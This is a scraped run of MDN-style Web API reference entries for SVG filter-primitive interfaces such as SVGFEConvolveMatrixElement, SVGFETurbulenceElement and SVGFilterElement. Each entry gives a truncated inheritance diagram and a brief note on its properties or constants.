<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...nk:href="/docs/web/api/svgfecompositeelement" target="_top"><rect x="271" y="65" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfecompositeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_fecomposite_operator_unknown 0 the type is not one of predefined types.
SVGFEConvolveMatrixElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...docs/web/api/svgfeconvolvematrixelement" target="_top"><rect x="221" y="65" width="260" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="351" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfeconvolvematrixelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_edgemode_unknown 0 the type is not one of predefined types.
SVGFEDiffuseLightingElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...cs/web/api/svgfediffuselightingelement" target="_top"><rect x="211" y="65" width="270" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="346" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfediffuselightingelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEDisplacementMapElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...cs/web/api/svgfedisplacementmapelement" target="_top"><rect x="211" y="65" width="270" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="346" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfedisplacementmapelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_channel_unknown 0 the type is not one of predefined types.
SVGFEDistantLightElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...f="/docs/web/api/svgfedistantlightelement" target="_top"><rect x="241" y="65" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="361" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfedistantlightelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement.
SVGFEDropShadowElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...:href="/docs/web/api/svgfedropshadowelement" target="_top"><rect x="261" y="65" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfedropshadowelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEFloodElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
.../><a xlink:href="/docs/web/api/svgfefloodelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfefloodelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement, and implements properties from svgfilterprimitivestandardattributes.
SVGFEFuncAElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/svgfefuncaelement" target="_top"><rect x="-79" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfefuncaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface not provide any specific properties, but inherits properties from its parent interface, svgcomponenttransferfunctionelement.
SVGFEFuncBElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/svgfefuncbelement" target="_top"><rect x="-79" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfefuncbelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface not provide any specific properties, but inherits properties from its parent interface, svgcomponenttransferfunctionelement.
SVGFEFuncGElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/svgfefuncgelement" target="_top"><rect x="-79" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfefuncgelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface not provide any specific properties, but inherits properties from its parent interface, svgcomponenttransferfunctionelement.
SVGFEFuncRElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/svgfefuncrelement" target="_top"><rect x="-79" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfefuncrelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface not provide any specific properties, but inherits properties from its parent interface, svgcomponenttransferfunctionelement.
SVGFEGaussianBlurElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...f="/docs/web/api/svgfegaussianblurelement" target="_top"><rect x="241" y="65" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="361" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfegaussianblurelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_edgemode_unknown 0 the type is not one of predefined types.
SVGFEImageElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
.../><a xlink:href="/docs/web/api/svgfeimageelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfeimageelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and implements properties of svgfilterprimitivestandardattributes and svgurireference.
SVGFEMergeElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
.../><a xlink:href="/docs/web/api/svgfemergeelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfemergeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface not provide any specific properties, but inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEMergeNodeElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...nk:href="/docs/web/api/svgfemergenodeelement" target="_top"><rect x="271" y="65" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfemergenodeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement.
SVGFEMorphologyElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...:href="/docs/web/api/svgfemorphologyelement" target="_top"><rect x="261" y="65" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfemorphologyelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_morphology_operator_unknown 0 the type is not one of predefined types.
SVGFEOffsetElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...<a xlink:href="/docs/web/api/svgfeoffsetelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfeoffsetelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEPointLightElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...:href="/docs/web/api/svgfepointlightelement" target="_top"><rect x="261" y="65" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfepointlightelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement.
SVGFESpecularLightingElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
.../web/api/svgfespecularlightingelement" target="_top"><rect x="201" y="65" width="280" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="341" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfespecularlightingelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFESpotLightElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...nk:href="/docs/web/api/svgfespotlightelement" target="_top"><rect x="271" y="65" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfespotlightelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement.
SVGFETileElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/svgfetileelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfetileelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFETurbulenceElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...:href="/docs/web/api/svgfeturbulenceelement" target="_top"><rect x="261" y="65" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfeturbulenceelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants turbulence types name value description svg_turbulence_type_unknown 0 the type is not one of predefined types.
SVGFilterElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/svgfilterelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfilterelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgfilterelement.filterunits read only an svganimatedenumeration that corresponds to the filterunits attribute of the given <filter> element.
SVGForeignObjectElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...href="/docs/web/api/svgforeignobjectelement" target="_top"><rect x="31" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="146" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgforeignobjectelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggraphicselement and implements properties from svgurireference.
SVGGElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2...
...ke="#d4dde4"/><a xlink:href="/docs/web/api/svggelement" target="_top"><rect x="151" y="65" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="206" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svggraphicselement.
SVGGradientElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
